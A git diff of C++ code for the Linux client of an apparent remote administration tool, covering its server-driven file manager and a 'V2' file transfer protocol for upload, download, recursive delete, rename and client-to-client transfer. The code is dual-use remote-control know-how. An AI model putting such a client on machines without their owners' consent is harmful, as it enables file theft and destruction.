SendTransferFinishForCurrentFile();
|
||||
return;
|
||||
}
|
||||
|
||||
const int headerLen = 9; // 1 + 4 + 4
|
||||
const int maxDataSize = MAX_SEND_BUFFER - headerLen;
|
||||
|
||||
std::vector<BYTE> packet(MAX_SEND_BUFFER);
|
||||
packet[0] = TOKEN_FILE_DATA;
|
||||
memcpy(&packet[1], &offsetHigh, sizeof(DWORD));
|
||||
memcpy(&packet[5], &offsetLow, sizeof(DWORD));
|
||||
|
||||
size_t bytesRead = fread(&packet[headerLen], 1, maxDataSize, fp);
|
||||
int readErr = ferror(fp);
|
||||
fclose(fp);
|
||||
|
||||
if (readErr) {
|
||||
Mprintf("[FileManager] fread error (errno=%d)\n", errno);
|
||||
SendTransferFinishForCurrentFile();
|
||||
return;
|
||||
}
|
||||
|
||||
if (bytesRead > 0) {
|
||||
int packetSize = headerLen + bytesRead;
|
||||
m_client->Send2Server((char*)packet.data(), packetSize);
|
||||
} else {
|
||||
// No more data, proceed to next file
|
||||
UploadNext();
|
||||
}
|
||||
}
|
||||
|
||||
// Helper: finish current file transfer gracefully
|
||||
void SendTransferFinishForCurrentFile()
|
||||
{
|
||||
if (!m_uploadList.empty()) {
|
||||
m_uploadList.pop_front();
|
||||
}
|
||||
if (m_uploadList.empty()) {
|
||||
SendToken(TOKEN_TRANSFER_FINISH);
|
||||
} else {
|
||||
SendFileSize(m_uploadList.front().c_str());
|
||||
}
|
||||
}
|
||||
|
||||
// Move to next file in upload queue
|
||||
void UploadNext()
|
||||
{
|
||||
SendTransferFinishForCurrentFile();
|
||||
}
|
||||
|
||||
void StopTransfer()
|
||||
{
|
||||
// Clear upload state
|
||||
m_uploadList.clear();
|
||||
m_nCurrentUploadFileLength = 0;
|
||||
memset(m_strCurrentUploadFile, 0, sizeof(m_strCurrentUploadFile));
|
||||
// Clear download state
|
||||
m_nCurrentFileLength = 0;
|
||||
memset(m_strCurrentFileName, 0, sizeof(m_strCurrentFileName));
|
||||
|
||||
SendToken(TOKEN_TRANSFER_FINISH);
|
||||
}
|
||||
|
||||
// ============== File Download (Windows -> Linux) ==============
|
||||
|
||||
// Create local file for receiving
|
||||
void CreateLocalRecvFile(PBYTE lpBuffer)
|
||||
{
|
||||
// Clear previous download state
|
||||
memset(m_strCurrentFileName, 0, sizeof(m_strCurrentFileName));
|
||||
|
||||
DWORD sizeHigh = 0, sizeLow = 0;
|
||||
memcpy(&sizeHigh, lpBuffer, sizeof(DWORD));
|
||||
memcpy(&sizeLow, lpBuffer + 4, sizeof(DWORD));
|
||||
|
||||
m_nCurrentFileLength = ((int64_t)sizeHigh << 32) | sizeLow;
|
||||
|
||||
// Get file name (after 8 bytes of size)
|
||||
const char* fileName = (const char*)(lpBuffer + 8);
|
||||
std::string linuxPath = winPathToLinux(gbkToUtf8(fileName).c_str());
|
||||
|
||||
strncpy(m_strCurrentFileName, linuxPath.c_str(), sizeof(m_strCurrentFileName) - 1);
|
||||
m_strCurrentFileName[sizeof(m_strCurrentFileName) - 1] = '\0';
|
||||
|
||||
Mprintf("[FileManager] Download: %s (%lld bytes)\n",
|
||||
m_strCurrentFileName, (long long)m_nCurrentFileLength);
|
||||
|
||||
// Create parent directories
|
||||
MakeSureDirectoryExists(m_strCurrentFileName);
|
||||
|
||||
// Check if file exists
|
||||
struct stat st;
|
||||
bool fileExists = (stat(m_strCurrentFileName, &st) == 0);
|
||||
|
||||
// Determine effective transfer mode
|
||||
int nTransferMode = m_nTransferMode;
|
||||
switch (m_nTransferMode) {
|
||||
case TRANSFER_MODE_OVERWRITE_ALL:
|
||||
nTransferMode = TRANSFER_MODE_OVERWRITE;
|
||||
break;
|
||||
case TRANSFER_MODE_ADDITION_ALL:
|
||||
nTransferMode = TRANSFER_MODE_ADDITION;
|
||||
break;
|
||||
case TRANSFER_MODE_JUMP_ALL:
|
||||
nTransferMode = TRANSFER_MODE_JUMP;
|
||||
break;
|
||||
case TRANSFER_MODE_NORMAL:
|
||||
// For Linux without UI, default to overwrite when file exists
|
||||
nTransferMode = TRANSFER_MODE_OVERWRITE;
|
||||
break;
|
||||
}
|
||||
|
||||
BYTE response[9] = {0};
|
||||
response[0] = TOKEN_DATA_CONTINUE;
|
||||
|
||||
if (fileExists) {
|
||||
if (nTransferMode == TRANSFER_MODE_ADDITION) {
|
||||
// Resume: send existing file size as offset
|
||||
uint64_t existingSize = st.st_size;
|
||||
DWORD existHigh = (DWORD)(existingSize >> 32);
|
||||
DWORD existLow = (DWORD)(existingSize & 0xFFFFFFFF);
|
||||
memcpy(response + 1, &existHigh, sizeof(DWORD));
|
||||
memcpy(response + 5, &existLow, sizeof(DWORD));
|
||||
} else if (nTransferMode == TRANSFER_MODE_JUMP) {
|
||||
// Skip this file
|
||||
DWORD skip = 0xFFFFFFFF;
|
||||
memcpy(response + 5, &skip, sizeof(DWORD));
|
||||
}
|
||||
// TRANSFER_MODE_OVERWRITE: offset stays 0, file will be truncated
|
||||
}
|
||||
|
||||
// Create or truncate file (unless skipping)
|
||||
DWORD lowCheck = 0;
|
||||
memcpy(&lowCheck, response + 5, sizeof(DWORD));
|
||||
if (lowCheck != 0xFFFFFFFF) {
|
||||
const char* mode = (nTransferMode == TRANSFER_MODE_ADDITION && fileExists) ? "r+b" : "wb";
|
||||
FILE* fp = fopen(m_strCurrentFileName, mode);
|
||||
if (fp) {
|
||||
if (nTransferMode == TRANSFER_MODE_ADDITION && fileExists) {
|
||||
// Seek to end for append mode
|
||||
fseeko(fp, 0, SEEK_END);
|
||||
}
|
||||
fclose(fp);
|
||||
} else {
|
||||
Mprintf("[FileManager] fopen failed: %s (errno=%d)\n", m_strCurrentFileName, errno);
|
||||
}
|
||||
}
|
||||
|
||||
m_client->Send2Server((char*)response, sizeof(response));
|
||||
}
|
||||
|
||||
// Write received file data
|
||||
void WriteLocalRecvFile(PBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
if (nSize < 8) return;
|
||||
|
||||
DWORD offsetHigh = 0, offsetLow = 0;
|
||||
memcpy(&offsetHigh, lpBuffer, sizeof(DWORD));
|
||||
memcpy(&offsetLow, lpBuffer + 4, sizeof(DWORD));
|
||||
|
||||
int64_t offset = ((int64_t)offsetHigh << 32) | offsetLow;
|
||||
ULONG dataLen = nSize - 8;
|
||||
PBYTE data = lpBuffer + 8;
|
||||
|
||||
FILE* fp = fopen(m_strCurrentFileName, "r+b");
|
||||
if (!fp) {
|
||||
fp = fopen(m_strCurrentFileName, "wb");
|
||||
}
|
||||
if (!fp) {
|
||||
Mprintf("[FileManager] fopen failed: %s (errno=%d)\n", m_strCurrentFileName, errno);
|
||||
// Send error response - skip to end
|
||||
BYTE response[9] = {0};
|
||||
response[0] = TOKEN_DATA_CONTINUE;
|
||||
DWORD skip = 0xFFFFFFFF;
|
||||
memcpy(response + 5, &skip, sizeof(DWORD));
|
||||
m_client->Send2Server((char*)response, sizeof(response));
|
||||
return;
|
||||
}
|
||||
|
||||
if (fseeko(fp, offset, SEEK_SET) != 0) {
|
||||
Mprintf("[FileManager] fseeko failed (errno=%d)\n", errno);
|
||||
fclose(fp);
|
||||
// Send skip response to avoid server hanging
|
||||
BYTE response[9] = {0};
|
||||
response[0] = TOKEN_DATA_CONTINUE;
|
||||
DWORD skip = 0xFFFFFFFF;
|
||||
memcpy(response + 5, &skip, sizeof(DWORD));
|
||||
m_client->Send2Server((char*)response, sizeof(response));
|
||||
return;
|
||||
}
|
||||
|
||||
size_t written = fwrite(data, 1, dataLen, fp);
|
||||
if (written != dataLen) {
|
||||
Mprintf("[FileManager] WriteLocalRecvFile: fwrite incomplete (%zu/%lu, errno=%d)\n",
|
||||
written, (unsigned long)dataLen, errno);
|
||||
}
|
||||
fclose(fp);
|
||||
|
||||
// Calculate new offset with proper 64-bit arithmetic
|
||||
int64_t newOffset = offset + written;
|
||||
DWORD newOffsetHigh = (DWORD)(newOffset >> 32);
|
||||
DWORD newOffsetLow = (DWORD)(newOffset & 0xFFFFFFFF);
|
||||
|
||||
// Send continue with new offset
|
||||
BYTE response[9];
|
||||
response[0] = TOKEN_DATA_CONTINUE;
|
||||
memcpy(response + 1, &newOffsetHigh, sizeof(DWORD));
|
||||
memcpy(response + 5, &newOffsetLow, sizeof(DWORD));
|
||||
m_client->Send2Server((char*)response, sizeof(response));
|
||||
}
|
||||
|
||||
void SetTransferMode(PBYTE lpBuffer)
|
||||
{
|
||||
memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode));
|
||||
}
|
||||
|
||||
// ============== File Operations ==============
|
||||
|
||||
void DeleteSingleFile(const char* fileName)
|
||||
{
|
||||
std::string linuxPath = winPathToLinux(gbkToUtf8(fileName).c_str());
|
||||
if (unlink(linuxPath.c_str()) != 0) {
|
||||
Mprintf("[FileManager] unlink failed: %s (errno=%d)\n", linuxPath.c_str(), errno);
|
||||
}
|
||||
}
|
||||
|
||||
void DeleteDirectoryRecursive(const char* dirPath)
|
||||
{
|
||||
std::string linuxPath = winPathToLinux(gbkToUtf8(dirPath).c_str());
|
||||
// Remove trailing slash
|
||||
while (!linuxPath.empty() && linuxPath.back() == '/') {
|
||||
linuxPath.pop_back();
|
||||
}
|
||||
|
||||
DeleteDirectoryRecursiveInternal(linuxPath);
|
||||
}
|
||||
|
||||
// Internal recursive delete using Linux paths directly (no encoding conversion)
|
||||
void DeleteDirectoryRecursiveInternal(const std::string& linuxPath)
|
||||
{
|
||||
DIR* dir = opendir(linuxPath.c_str());
|
||||
if (!dir) {
|
||||
Mprintf("[FileManager] opendir failed: %s (errno=%d)\n", linuxPath.c_str(), errno);
|
||||
return;
|
||||
}
|
||||
|
||||
struct dirent* ent;
|
||||
while ((ent = readdir(dir)) != nullptr) {
|
||||
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
|
||||
continue;
|
||||
|
||||
std::string fullPath = linuxPath + "/" + ent->d_name;
|
||||
struct stat st;
|
||||
if (lstat(fullPath.c_str(), &st) != 0)
|
||||
continue;
|
||||
|
||||
if (S_ISDIR(st.st_mode)) {
|
||||
DeleteDirectoryRecursiveInternal(fullPath);
|
||||
} else {
|
||||
unlink(fullPath.c_str());
|
||||
}
|
||||
}
|
||||
closedir(dir);
|
||||
|
||||
if (rmdir(linuxPath.c_str()) != 0) {
|
||||
Mprintf("[FileManager] rmdir failed: %s (errno=%d)\n", linuxPath.c_str(), errno);
|
||||
}
|
||||
}
|
||||
|
||||
void CreateFolder(const char* folderPath)
|
||||
{
|
||||
std::string linuxPath = winPathToLinux(gbkToUtf8(folderPath).c_str());
|
||||
MakeSureDirectoryPathExists(linuxPath);
|
||||
SendToken(TOKEN_CREATEFOLDER_FINISH);
|
||||
}
|
||||
|
||||
void RenameFile(PBYTE lpBuffer)
|
||||
{
|
||||
const char* oldName = (const char*)lpBuffer;
|
||||
const char* newName = oldName + strlen(oldName) + 1;
|
||||
|
||||
std::string oldPath = winPathToLinux(gbkToUtf8(oldName).c_str());
|
||||
std::string newPath = winPathToLinux(gbkToUtf8(newName).c_str());
|
||||
|
||||
if (rename(oldPath.c_str(), newPath.c_str()) != 0) {
|
||||
Mprintf("[FileManager] rename failed: %s (errno=%d)\n", oldPath.c_str(), errno);
|
||||
}
|
||||
SendToken(TOKEN_RENAME_FINISH);
|
||||
}
|
||||
};
|
||||
688
linux/FileTransferV2.h
Normal file
688
linux/FileTransferV2.h
Normal file
@@ -0,0 +1,688 @@
|
||||
#pragma once
|
||||
#include "common/commands.h"
|
||||
#include "common/file_upload.h"
|
||||
#include "client/IOCPClient.h"
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <dirent.h>
|
||||
#include <iconv.h>
|
||||
#include <cstring>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <map>
|
||||
#include <mutex>
|
||||
#include <fstream>
|
||||
#include <thread>
|
||||
|
||||
// ============== Linux V2 File Transfer ==============
|
||||
// Implements V2 file transfer protocol for Linux client
|
||||
// Supports: receive files from server/C2C, send files to server/C2C
|
||||
|
||||
class FileTransferV2
|
||||
{
|
||||
public:
|
||||
// V2 文件接收状态
|
||||
struct RecvState {
|
||||
uint64_t transferID;
|
||||
uint64_t fileSize;
|
||||
uint64_t receivedBytes;
|
||||
std::string filePath;
|
||||
int fd;
|
||||
|
||||
RecvState() : transferID(0), fileSize(0), receivedBytes(0), fd(-1) {}
|
||||
~RecvState() { if (fd >= 0) close(fd); }
|
||||
};
|
||||
|
||||
// 编码转换
|
||||
static std::string gbkToUtf8(const std::string& gbk)
|
||||
{
|
||||
if (gbk.empty()) return gbk;
|
||||
iconv_t cd = iconv_open("UTF-8", "GBK");
|
||||
if (cd == (iconv_t)-1) return gbk;
|
||||
|
||||
size_t inLeft = gbk.size();
|
||||
size_t outLeft = inLeft * 4;
|
||||
std::string output(outLeft, '\0');
|
||||
|
||||
char* inPtr = const_cast<char*>(gbk.data());
|
||||
char* outPtr = &output[0];
|
||||
|
||||
size_t ret = iconv(cd, &inPtr, &inLeft, &outPtr, &outLeft);
|
||||
iconv_close(cd);
|
||||
|
||||
if (ret == (size_t)-1) return gbk;
|
||||
output.resize(output.size() - outLeft);
|
||||
return output;
|
||||
}
|
||||
|
||||
static std::string utf8ToGbk(const std::string& utf8)
|
||||
{
|
||||
if (utf8.empty()) return utf8;
|
||||
iconv_t cd = iconv_open("GBK", "UTF-8");
|
||||
if (cd == (iconv_t)-1) return utf8;
|
||||
|
||||
size_t inLeft = utf8.size();
|
||||
size_t outLeft = inLeft * 2;
|
||||
std::string output(outLeft, '\0');
|
||||
|
||||
char* inPtr = const_cast<char*>(utf8.data());
|
||||
char* outPtr = &output[0];
|
||||
|
||||
size_t ret = iconv(cd, &inPtr, &inLeft, &outPtr, &outLeft);
|
||||
iconv_close(cd);
|
||||
|
||||
if (ret == (size_t)-1) return utf8;
|
||||
output.resize(output.size() - outLeft);
|
||||
return output;
|
||||
}
|
||||
|
||||
// 递归创建目录
|
||||
static bool MakeDirs(const std::string& path)
|
||||
{
|
||||
std::string dir;
|
||||
size_t lastSlash = path.rfind('/');
|
||||
if (lastSlash != std::string::npos && lastSlash > 0) {
|
||||
dir = path.substr(0, lastSlash);
|
||||
} else {
|
||||
return true;
|
||||
}
|
||||
|
||||
std::string current;
|
||||
for (size_t i = 0; i < dir.size(); ++i) {
|
||||
current += dir[i];
|
||||
if (dir[i] == '/' && current.size() > 1) {
|
||||
mkdir(current.c_str(), 0755);
|
||||
}
|
||||
}
|
||||
if (!current.empty() && current != "/") {
|
||||
mkdir(current.c_str(), 0755);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// 获取 C2C 目标目录(简化版:使用当前工作目录)
|
||||
static std::string GetTargetDir(uint64_t transferID)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(s_targetDirMtx);
|
||||
auto it = s_targetDirs.find(transferID);
|
||||
if (it != s_targetDirs.end()) {
|
||||
return it->second;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
// 设置 C2C 目标目录
|
||||
static void SetTargetDir(uint64_t transferID, const std::string& dir)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(s_targetDirMtx);
|
||||
s_targetDirs[transferID] = dir;
|
||||
Mprintf("[V2] SetTargetDir: transferID=%llu, dir=%s\n", transferID, dir.c_str());
|
||||
}
|
||||
|
||||
// 处理 COMMAND_C2C_PREPARE - 在当前目录下创建子目录接收文件
|
||||
static void HandleC2CPrepare(const uint8_t* data, size_t len, IOCPClient* client)
|
||||
{
|
||||
if (len < sizeof(C2CPreparePacket)) return;
|
||||
|
||||
const C2CPreparePacket* pkt = (const C2CPreparePacket*)data;
|
||||
|
||||
// 获取当前工作目录
|
||||
char cwd[4096] = {};
|
||||
if (!getcwd(cwd, sizeof(cwd))) {
|
||||
strcpy(cwd, "/tmp");
|
||||
}
|
||||
|
||||
// 创建接收子目录: recv_YYYYMM
|
||||
time_t now = time(nullptr);
|
||||
struct tm* t = localtime(&now);
|
||||
char subdir[32];
|
||||
snprintf(subdir, sizeof(subdir), "recv_%04d%02d",
|
||||
t->tm_year + 1900, t->tm_mon + 1);
|
||||
|
||||
std::string targetDir = std::string(cwd) + "/" + subdir;
|
||||
mkdir(targetDir.c_str(), 0755); // 已存在则忽略
|
||||
|
||||
SetTargetDir(pkt->transferID, targetDir);
|
||||
|
||||
Mprintf("[V2] C2C Prepare: transferID=%llu, targetDir=%s\n",
|
||||
pkt->transferID, targetDir.c_str());
|
||||
}
|
||||
|
||||
// 处理 V2 文件数据包
|
||||
// 返回: 0=成功, >0=错误码
|
||||
static int RecvFileChunkV2(const uint8_t* buf, size_t len, uint64_t myClientID)
|
||||
{
|
||||
// 检查是否是 FILE_COMPLETE_V2 包
|
||||
if (len >= 1 && buf[0] == COMMAND_FILE_COMPLETE_V2) {
|
||||
return HandleFileComplete(buf, len, myClientID);
|
||||
}
|
||||
|
||||
if (len < sizeof(FileChunkPacketV2)) {
|
||||
Mprintf("[V2 Recv] Invalid packet length: %zu\n", len);
|
||||
return 2;
|
||||
}
|
||||
|
||||
const FileChunkPacketV2* pkt = (const FileChunkPacketV2*)buf;
|
||||
|
||||
if (len < sizeof(FileChunkPacketV2) + pkt->nameLength + pkt->dataLength) {
|
||||
Mprintf("[V2 Recv] Incomplete packet: %zu < %zu\n", len,
|
||||
sizeof(FileChunkPacketV2) + pkt->nameLength + pkt->dataLength);
|
||||
return 3;
|
||||
}
|
||||
|
||||
// 验证目标
|
||||
if (pkt->dstClientID != 0 && pkt->dstClientID != myClientID) {
|
||||
Mprintf("[V2 Recv] Target mismatch: dst=%llu, my=%llu\n",
|
||||
pkt->dstClientID, myClientID);
|
||||
return 4;
|
||||
}
|
||||
|
||||
// 提取文件名(服务端发送的是 GBK 编码)
|
||||
std::string fileNameGbk((const char*)(pkt + 1), pkt->nameLength);
|
||||
std::string fileName = gbkToUtf8(fileNameGbk);
|
||||
|
||||
// 构建保存路径
|
||||
std::string savePath;
|
||||
std::string targetDir = GetTargetDir(pkt->transferID);
|
||||
|
||||
if (!targetDir.empty()) {
|
||||
// C2C 传输:使用预设的目标目录 + 相对路径(保留目录结构)
|
||||
savePath = targetDir;
|
||||
if (!savePath.empty() && savePath.back() != '/') {
|
||||
savePath += '/';
|
||||
}
|
||||
// 转换 Windows 路径分隔符
|
||||
std::string relPath = fileName;
|
||||
for (char& c : relPath) {
|
||||
if (c == '\\') c = '/';
|
||||
}
|
||||
// 移除盘符前缀 (如 C:/)
|
||||
if (relPath.size() >= 3 && relPath[1] == ':' && relPath[2] == '/') {
|
||||
relPath = relPath.substr(3);
|
||||
} else if (relPath.size() >= 2 && relPath[1] == ':') {
|
||||
relPath = relPath.substr(2);
|
||||
}
|
||||
// 移除开头的 /
|
||||
while (!relPath.empty() && relPath[0] == '/') {
|
||||
relPath = relPath.substr(1);
|
||||
}
|
||||
savePath += relPath;
|
||||
} else {
|
||||
// 服务端传输:使用相对路径
|
||||
// 将 Windows 路径转换为 Linux 路径
|
||||
savePath = fileName;
|
||||
for (char& c : savePath) {
|
||||
if (c == '\\') c = '/';
|
||||
}
|
||||
// 移除盘符前缀 (如 C:/)
|
||||
if (savePath.size() >= 3 && savePath[1] == ':' && savePath[2] == '/') {
|
||||
savePath = savePath.substr(2);
|
||||
}
|
||||
// 确保以 / 开头
|
||||
if (savePath.empty() || savePath[0] != '/') {
|
||||
savePath = "/" + savePath;
|
||||
}
|
||||
}
|
||||
|
||||
// 目录处理
|
||||
if (pkt->flags & FFV2_DIRECTORY) {
|
||||
MakeDirs(savePath + "/dummy");
|
||||
Mprintf("[V2 Recv] Created directory: %s\n", savePath.c_str());
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 创建父目录
|
||||
MakeDirs(savePath);
|
||||
|
||||
// 获取或创建接收状态
|
||||
uint64_t stateKey = pkt->transferID ^ ((uint64_t)pkt->fileIndex << 48);
|
||||
RecvState* state = GetOrCreateState(stateKey, pkt, savePath);
|
||||
if (!state) {
|
||||
Mprintf("[V2 Recv] Failed to create state\n");
|
||||
return 5;
|
||||
}
|
||||
|
||||
// 写入数据
|
||||
const char* data = (const char*)buf + sizeof(FileChunkPacketV2) + pkt->nameLength;
|
||||
|
||||
if (lseek(state->fd, pkt->offset, SEEK_SET) == -1) {
|
||||
Mprintf("[V2 Recv] lseek failed: errno=%d\n", errno);
|
||||
return 6;
|
||||
}
|
||||
|
||||
size_t written = 0;
|
||||
size_t toWrite = pkt->dataLength;
|
||||
while (written < toWrite) {
|
||||
ssize_t n = write(state->fd, data + written, toWrite - written);
|
||||
if (n <= 0) {
|
||||
if (errno == EINTR) continue;
|
||||
Mprintf("[V2 Recv] write failed: errno=%d\n", errno);
|
||||
return 7;
|
||||
}
|
||||
written += n;
|
||||
}
|
||||
|
||||
state->receivedBytes += pkt->dataLength;
|
||||
|
||||
// 打印进度(每 10% 或最后一块)
|
||||
bool isLast = (pkt->flags & FFV2_LAST_CHUNK) ||
|
||||
(state->receivedBytes >= state->fileSize);
|
||||
int progress = state->fileSize > 0 ?
|
||||
(int)(100 * state->receivedBytes / state->fileSize) : 100;
|
||||
static std::map<uint64_t, int> s_lastProgress;
|
||||
if (isLast || progress >= s_lastProgress[stateKey] + 10) {
|
||||
s_lastProgress[stateKey] = progress;
|
||||
Mprintf("[V2 Recv] %s: %llu/%llu (%d%%)\n",
|
||||
savePath.c_str(), state->receivedBytes, state->fileSize, progress);
|
||||
}
|
||||
|
||||
// 文件完成
|
||||
if (isLast) {
|
||||
close(state->fd);
|
||||
state->fd = -1;
|
||||
Mprintf("[V2 Recv] File complete: %s\n", savePath.c_str());
|
||||
|
||||
// 清理状态
|
||||
std::lock_guard<std::mutex> lock(s_statesMtx);
|
||||
s_states.erase(stateKey);
|
||||
s_lastProgress.erase(stateKey);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 处理文件完成校验包
|
||||
static int HandleFileComplete(const uint8_t* buf, size_t len, uint64_t myClientID)
|
||||
{
|
||||
if (len < sizeof(FileCompletePacketV2)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
const FileCompletePacketV2* pkt = (const FileCompletePacketV2*)buf;
|
||||
|
||||
// 验证目标
|
||||
if (pkt->dstClientID != 0 && pkt->dstClientID != myClientID) {
|
||||
return 0; // 不是给我的,忽略
|
||||
}
|
||||
|
||||
Mprintf("[V2] File complete verify: transferID=%llu, fileIndex=%u, size=%llu\n",
|
||||
pkt->transferID, pkt->fileIndex, pkt->fileSize);
|
||||
|
||||
// TODO: 实现 SHA-256 校验
|
||||
// 目前简单返回成功
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ============== V2 文件发送 (Linux -> Server) ==============
|
||||
|
||||
// 生成传输 ID
|
||||
static uint64_t GenerateTransferID()
|
||||
{
|
||||
static std::mutex s_mtx;
|
||||
static uint64_t s_counter = 0;
|
||||
std::lock_guard<std::mutex> lock(s_mtx);
|
||||
uint64_t t = (uint64_t)time(nullptr) << 32;
|
||||
return t | (++s_counter);
|
||||
}
|
||||
|
||||
// 获取公共根目录 (Linux 路径)
|
||||
static std::string GetCommonRoot(const std::vector<std::string>& files)
|
||||
{
|
||||
if (files.empty()) return "/";
|
||||
if (files.size() == 1) {
|
||||
size_t lastSlash = files[0].rfind('/');
|
||||
if (lastSlash != std::string::npos) {
|
||||
return files[0].substr(0, lastSlash + 1);
|
||||
}
|
||||
return "/";
|
||||
}
|
||||
|
||||
std::string common = files[0];
|
||||
for (size_t i = 1; i < files.size(); ++i) {
|
||||
size_t j = 0;
|
||||
while (j < common.size() && j < files[i].size() && common[j] == files[i][j]) {
|
||||
++j;
|
||||
}
|
||||
common = common.substr(0, j);
|
||||
}
|
||||
|
||||
// 截断到最后一个 /
|
||||
size_t lastSlash = common.rfind('/');
|
||||
if (lastSlash != std::string::npos) {
|
||||
return common.substr(0, lastSlash + 1);
|
||||
}
|
||||
return "/";
|
||||
}
|
||||
|
||||
// 递归收集目录中的文件和子目录
|
||||
static void CollectFiles(const std::string& dir, std::vector<std::string>& files)
|
||||
{
|
||||
// 先添加目录本身(去掉末尾的斜杠)
|
||||
std::string dirEntry = dir;
|
||||
while (!dirEntry.empty() && dirEntry.back() == '/') {
|
||||
dirEntry.pop_back();
|
||||
}
|
||||
if (!dirEntry.empty()) {
|
||||
files.push_back(dirEntry + "/"); // 以 / 结尾表示目录
|
||||
}
|
||||
|
||||
DIR* d = opendir(dir.c_str());
|
||||
if (!d) return;
|
||||
|
||||
struct dirent* ent;
|
||||
while ((ent = readdir(d)) != nullptr) {
|
||||
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
|
||||
continue;
|
||||
|
||||
std::string fullPath = dir;
|
||||
if (fullPath.back() != '/') fullPath += '/';
|
||||
fullPath += ent->d_name;
|
||||
|
||||
struct stat st;
|
||||
if (lstat(fullPath.c_str(), &st) != 0) continue;
|
||||
|
||||
if (S_ISDIR(st.st_mode)) {
|
||||
CollectFiles(fullPath, files);
|
||||
} else if (S_ISREG(st.st_mode)) {
|
||||
files.push_back(fullPath);
|
||||
}
|
||||
}
|
||||
closedir(d);
|
||||
}
|
||||
|
||||
// Windows 路径转 Linux 路径
|
||||
static std::string WinPathToLinux(const std::string& winPath)
|
||||
{
|
||||
std::string p = winPath;
|
||||
// 1. 反斜杠 -> 正斜杠
|
||||
for (auto& c : p) {
|
||||
if (c == '\\') c = '/';
|
||||
}
|
||||
// 2. 移除 "X:/" 或 "X:" 前缀
|
||||
if (p.size() >= 3 && p[1] == ':' && p[2] == '/') {
|
||||
p = p.substr(3);
|
||||
} else if (p.size() >= 2 && p[1] == ':') {
|
||||
p = p.substr(2);
|
||||
}
|
||||
// 3. 确保以 / 开头
|
||||
if (p.empty() || p[0] != '/') {
|
||||
p = "/" + p;
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
// 处理 CMD_DOWN_FILES_V2 请求 - 上传文件到服务端
|
||||
// 格式: [cmd:1][targetDir\0][file1\0][file2\0]...[\0]
|
||||
static void HandleDownFilesV2(const uint8_t* data, size_t len, IOCPClient* client, uint64_t myClientID)
|
||||
{
|
||||
if (len < 2) return;
|
||||
|
||||
// 解析目标目录 (GBK 编码)
|
||||
const char* p = (const char*)(data + 1);
|
||||
const char* end = (const char*)(data + len);
|
||||
std::string targetDirGbk = p;
|
||||
std::string targetDir = gbkToUtf8(targetDirGbk);
|
||||
p += targetDirGbk.length() + 1;
|
||||
|
||||
// 解析文件列表
|
||||
std::vector<std::string> remotePaths;
|
||||
while (p < end && *p != '\0') {
|
||||
std::string pathGbk = p;
|
||||
remotePaths.push_back(gbkToUtf8(pathGbk));
|
||||
p += pathGbk.length() + 1;
|
||||
}
|
||||
|
||||
if (remotePaths.empty()) {
|
||||
Mprintf("[V2 Send] No files to send\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 收集所有文件 (展开目录)
|
||||
std::vector<std::string> allFiles;
|
||||
std::vector<std::string> rootCandidates;
|
||||
|
||||
for (const auto& remotePath : remotePaths) {
|
||||
std::string localPath = WinPathToLinux(remotePath);
|
||||
|
||||
struct stat st;
|
||||
if (stat(localPath.c_str(), &st) != 0) {
|
||||
Mprintf("[V2 Send] File not found: %s\n", localPath.c_str());
|
||||
continue;
|
||||
}
|
||||
|
||||
if (S_ISDIR(st.st_mode)) {
|
||||
// 目录:递归收集
|
||||
std::string dirPath = localPath;
|
||||
if (dirPath.back() != '/') dirPath += '/';
|
||||
// 使用父目录参与公共根计算
|
||||
size_t pos = dirPath.rfind('/', dirPath.length() - 2);
|
||||
std::string parentPath = (pos != std::string::npos) ? dirPath.substr(0, pos + 1) : dirPath;
|
||||
rootCandidates.push_back(parentPath);
|
||||
CollectFiles(dirPath, allFiles);
|
||||
} else {
|
||||
// 文件
|
||||
rootCandidates.push_back(localPath);
|
||||
allFiles.push_back(localPath);
|
||||
}
|
||||
}
|
||||
|
||||
if (allFiles.empty()) {
|
||||
Mprintf("[V2 Send] No files found\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 计算公共根目录
|
||||
std::string commonRoot = GetCommonRoot(rootCandidates);
|
||||
|
||||
Mprintf("[V2 Send] Starting V2 transfer: %zu files, root=%s, target=%s\n",
|
||||
allFiles.size(), commonRoot.c_str(), targetDir.c_str());
|
||||
|
||||
// 启动传输线程
|
||||
std::thread([allFiles, targetDir, commonRoot, client, myClientID]() {
|
||||
SendFilesV2(allFiles, targetDir, commonRoot, client, myClientID);
|
||||
}).detach();
|
||||
}
|
||||
|
||||
// V2 文件发送核心函数
|
||||
static void SendFilesV2(const std::vector<std::string>& files,
|
||||
const std::string& targetDir,
|
||||
const std::string& commonRoot,
|
||||
IOCPClient* client,
|
||||
uint64_t myClientID)
|
||||
{
|
||||
const size_t CHUNK_SIZE = 60 * 1024; // 60KB per chunk
|
||||
uint64_t transferID = GenerateTransferID();
|
||||
uint32_t totalFiles = (uint32_t)files.size();
|
||||
|
||||
Mprintf("[V2 Send] TransferID=%llu, files=%u\n", transferID, totalFiles);
|
||||
|
||||
for (uint32_t fileIndex = 0; fileIndex < totalFiles; ++fileIndex) {
|
||||
const std::string& filePath = files[fileIndex];
|
||||
|
||||
// 检查是否是目录项(以 / 结尾)
|
||||
bool isDirectory = !filePath.empty() && filePath.back() == '/';
|
||||
std::string actualPath = isDirectory ? filePath.substr(0, filePath.length() - 1) : filePath;
|
||||
|
||||
// 计算相对路径
|
||||
std::string relativePath;
|
||||
if (actualPath.find(commonRoot) == 0) {
|
||||
relativePath = actualPath.substr(commonRoot.length());
|
||||
} else {
|
||||
size_t lastSlash = actualPath.rfind('/');
|
||||
relativePath = (lastSlash != std::string::npos) ?
|
||||
